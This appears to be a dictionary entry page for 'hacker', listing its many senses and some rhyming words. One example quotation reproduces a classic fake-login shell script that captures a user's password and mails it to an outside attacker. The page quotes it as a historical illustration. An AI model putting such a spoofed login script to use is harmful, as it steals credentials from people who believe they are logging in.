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n. Informal One who is proficient at using or programming a computer; a computer buff.

n. Informal One who uses programming skills to gain illegal access to a computer network or file.

n. Informal One who enthusiastically pursues a game or sport: a weekend tennis hacker.

n. See hackie.

n. Something which hacks, a tool or device for hacking.

n. Someone who hacks.

n. one who is expert at programming and solving problems with a computer

n. one who uses a computer to gain unauthorized access to data.

n. a computer security professional

n. one who is inexperienced or unskilled at a particular activity, especially a sport such as golf or tennis.

n. one who operates a taxicab

n. One who, or that which, hacks.

n. A tool used for making incisions in trees as channels for the passage of the sap; a hack.

Same as hack, 4.

n. a programmer for whom computing is its own reward; may enjoy the challenge of breaking into other computers but does no harm

n. a programmer who breaks into computer systems in order to steal or change or destroy information as a form of cyber-terrorism

n. one who works hard at boring tasks

n. someone who plays golf poorly

"A hacker could quickly install a login process like the one described by Morris and Grampp (7): echo - n "login:" read X stty - echo echo - n "password:" read Y echo "" stty echo echo % X%Y | mail outside | hacker& sleep 1 echo Login incorrect stty 0/dev/tty We see that the password of the root user is mailed to the hacker who has completely compromised the Unix system."

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Packer    acker    aker    attacker    backer    blacker    bracker    cracker    lacquer    macher   

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